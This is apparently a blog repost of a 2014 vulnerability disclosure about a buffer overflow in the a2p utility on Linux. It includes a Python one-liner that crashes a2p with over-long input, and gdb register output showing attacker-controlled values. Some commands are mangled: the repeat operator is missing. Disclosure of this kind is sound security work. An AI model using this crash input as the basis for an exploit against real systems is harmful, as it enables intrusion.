usr/bin/a2p buffer overflow

时间:2014-12-30    作者:admin    分类: 技术交流


$ echo @alunos.dcc.fc.up|sed 's/^/up201407890/g;s/$/.pt/g'



I have found what it appears to be a buffer overflow on the a2p (awk2perl)

utility. It comes by default on several different systems.



Tested on Fedora 20, Fedora 19, Debian, and works probably on every other

UNIX-like.



Eg:



[saken () zippy ~]$ python -c "print 'A' 2048" | a2p >/dev/null

[saken () zippy ~]$ python -c "print 'A'
2049" | a2p >/dev/null

[saken () zippy ~]$ python -c "print 'A' 2050" | a2p >/dev/null

Segmentation fault



or



[saken () zippy ~]$ python -c "print 'A'
3000" > lel

[saken () zippy ~]$ gdb a2p

(gdb) r lel

Starting program: /usr/bin/a2p lel

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib64/libthread_db.so.1".



Program received signal SIGSEGV, Segmentation fault.

0x000000000040b7c5 in yyparse ()

(gdb) info reg

rax 0x4141414141414141 8680820740569200760

rbx 0x1 1

rcx 0x0 0

rdx 0x67d724 6805284

rsi 0x67dab0 6806192

rdi 0x41414141 2021161080

rbp 0x6 0x6

rsp 0x7fffffffe1d0 0x7fffffffe1d0

r8 0x8 8

r9 0x5f 95

r10 0x0 0

r11 0x38e0174b60 244277791584

r12 0x6 6

r13 0x0 0

r14 0x0 0

r15 0x0 0

rip 0x40b7c5 0x40b7c5 <yyparse+757>

eflags 0x10206 [ PF IF RF ]

cs 0x33 51

ss 0x2b 43

ds 0x0 0

es 0x0 0

fs 0x0 0

gs 0x0 0



('^ () +@`'^'-! () % ')

标签: linux 溢出